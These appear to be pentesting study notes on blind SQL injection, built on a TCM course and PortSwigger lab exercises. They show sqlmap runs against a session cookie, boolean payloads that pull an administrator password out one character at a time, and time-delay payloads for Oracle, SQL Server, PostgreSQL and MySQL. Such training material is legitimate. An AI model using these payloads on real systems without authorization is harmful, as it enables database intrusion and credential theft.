# Blind

{% hint style="info" %}
**Blind SQLi** occurs when an attacker cannot see the results of their queries directly but can infer information based on the application's behavior and responses.
{% endhint %}

## Boolean-based

{% hint style="info" %}
**Boolean-based SQLi** occurs when the attacker sends queries that return different responses based on a true/false condition, inferring information from the application's behavior.
{% endhint %}

### Headers

> *The example below is based on TCM's* [*Practical Bug Bounty*](https://academy.tcm-sec.com/p/practical-bug-bounty) *course.*

This time the application generates both a `POST` and a `GET` request. The former includes two parameters (`username` and `password`), but they don't appear to be vulnerable to SQLi. The latter does not contain any parameter, but we can search for other injection points.&#x20;

We are looking for points where the server might potentially process, such as the `User-Agent` and the `Cookie` headers. In this case, the `Cookie` header includes the `session` parameter and its value is certainly processed by the back-end (Figure 1).

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2FyrCuS0vQoR1093nr3VG1%2Fweb_sqli_blindBoolean_1.png?alt=media&#x26;token=882532aa-7e0d-4984-92ec-a676366a1b13" alt=""><figcaption><p>Figure 1: Inspecting potential SQLi positions.</p></figcaption></figure>

When testing the `session` parameter, we can see that we can alter the response's behavior (`Content-Length` differences) (Figure 2), but we don't get any data within the response like we did while testing the [In Band SQLi](https://x7331.gitbook.io/boxes/web/injections/in-band#basic-workflow); this is what makes it a Blind SQLi.

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2FY4lAUSRL2mkM4doDXcLr%2Fweb_sqli_blindBoolean_2.png?alt=media&#x26;token=bdf0b40b-d1f4-41b1-8fde-d85a550a9a68" alt=""><figcaption><p>Figure 2: Validating <code>sqlmap</code>'s findings.</p></figcaption></figure>

Passing the request to [`sqlmap`](https://x7331.gitbook.io/boxes/web/injections/sqli/sqlmap), it confirms that the `session` cookie is indeed injectable, therefore, we can continue the testing process as we did in the [In Band](https://x7331.gitbook.io/boxes/web/injections/in-band#basic-workflow) section.

{% code overflow="wrap" %}

```bash
$ sqlmap -r get_request.txt --batch --dbms=MySQL --level 5 --technique=B --dbms=MySQL
<SNIP>

sqlmap identified the following injection point(s) with a total of 33 HTTP(s) requests:
---
Parameter: session (Cookie)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause
    Payload: session=6967cabefd763ac1a1a88e11159957db' AND 9499=9499-- UfuX
---
[12:37:03] [INFO] testing MySQL
[12:37:03] [INFO] confirming MySQL
[12:37:03] [INFO] the back-end DBMS is MySQL
web server operating system: Linux Debian
web application technology: PHP 7.4.33, Apache 2.4.54
back-end DBMS: MySQL >= 8.0.0
```

{% endcode %}

### Conditional

> *The example below is based on PostSwigger's* [*Blind SQL injection with conditional responses*](https://portswigger.net/web-security/sql-injection/blind/lab-conditional-responses) *lab.*

{% code overflow="wrap" %}

```sql
SELECT database(); -- test
SELECT substring(database(),1,1); -- t (position,length)
SELECT substring(database(),1,3); -- tes (position,length)
SELECT * FROM products WHERE name = 'Laptop' AND substring((SELECT password FROM users WHERE username='Jessamy'),1,1)>'m';
```

{% endcode %}

Burp's Active Scan identifies a potential SQLi flaw (Figure 3).

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2F93HZyiAz8zZt6kkRPhnu%2Fweb_sqli_blind_1.png?alt=media&#x26;token=a8f4e324-1f6a-4dee-93a2-161ebe2f76ad" alt=""><figcaption><p>Figure 3: Identifying &#x26; validating an SQLi vulnerability.</p></figcaption></figure>

We can send the two responses to Comparer and check what is the differs between them (Figure 4).

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2FBu46wLgZewJjFAVUXmvH%2Fweb_sqli_blind_2.png?alt=media&#x26;token=e40cb476-8f68-49d6-9c45-05ceb8b22714" alt=""><figcaption><p>Figure 4: Using Burp's Comparer to see what differs between the two responses.</p></figcaption></figure>

Now that we know that if our injected statement is `TRUE` we will get a `Welcome back!` message, we can use the `SUBSTRING` function and start enumerating the `administrator`'s password. We can do that efficiently by performing a Cluster bomb attack with Intruder (Figure 5).

{% code overflow="wrap" %}

```sql
' AND (SELECT SUBSTRING(password,1,1) FROM users WHERE username='administrator')='a
```

{% endcode %}

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2FUAkwRbIHhQSmVXS4IywO%2Fweb_sqli_blind_3.png?alt=media&#x26;token=94788007-8461-4c11-a5dd-b96d9d87b9a2" alt=""><figcaption><p>Figure 5: Performing a Cluster bomb attack with Burp's Intruder.</p></figcaption></figure>

All we need to do now is to filter out the irrevelant responses and sort them by `Payload 1` (Figure 6).

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2FFHEYoV50yfMgjqd8CUqA%2Fweb_sqli_blind_4.png?alt=media&#x26;token=d9961fdb-a840-4da3-937f-b128c17ee1ba" alt=""><figcaption><p>Figure 6: Enumerting the <code>administrator</code>'s password.</p></figcaption></figure>

{% hint style="info" %}
For performing the above task with a custom Python-based script, check the [Copy As Python-Requests](https://portswigger.net/bappstore/b324647b6efa4b6a8f346389730df160) Burp's extension.
{% endhint %}

## Time-based

{% hint style="info" %}
**Time-based SQLi** occurs when the attacker sends queries that introduce deliberate delays, inferring information based on the time it takes for the application to respond.
{% endhint %}

> *The example below is based on PostSwigger's* [*Blind SQL injection with time delays*](https://portswigger.net/web-security/sql-injection/blind/lab-time-delays) *lab.*

We can start by testing the time-based payloads found on [PortSwigger's SQLi cheatsheet](https://portswigger.net/web-security/sql-injection/cheat-sheet). using string concatenation (Figure 7).

<table><thead><tr><th width="184">Database</th><th>Payload</th></tr></thead><tbody><tr><td>Oracle</td><td><code>dbms_pipe.receive_message(('a'),10)</code></td></tr><tr><td>Microsoft</td><td><code>WAITFOR DELAY '0:0:10'</code></td></tr><tr><td>PostgreSQL</td><td><code>SELECT pg_sleep(10)</code></td></tr><tr><td>MySQL</td><td><code>SELECT SLEEP(10)</code></td></tr></tbody></table>

```sql
'+||pg_sleep(10)-- -;
```

<figure><img src="https://2056709691-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FFqURPjUnKKhebI962QD8%2Fuploads%2FyiAF0hIUjHjI4GBvET5c%2Fweb_sqli_blind_5.png?alt=media&#x26;token=47481567-192b-4ce4-95a4-4df392a70c6b" alt=""><figcaption><p>Figure 7: Successfully injecting a time-based payload.</p></figcaption></figure>
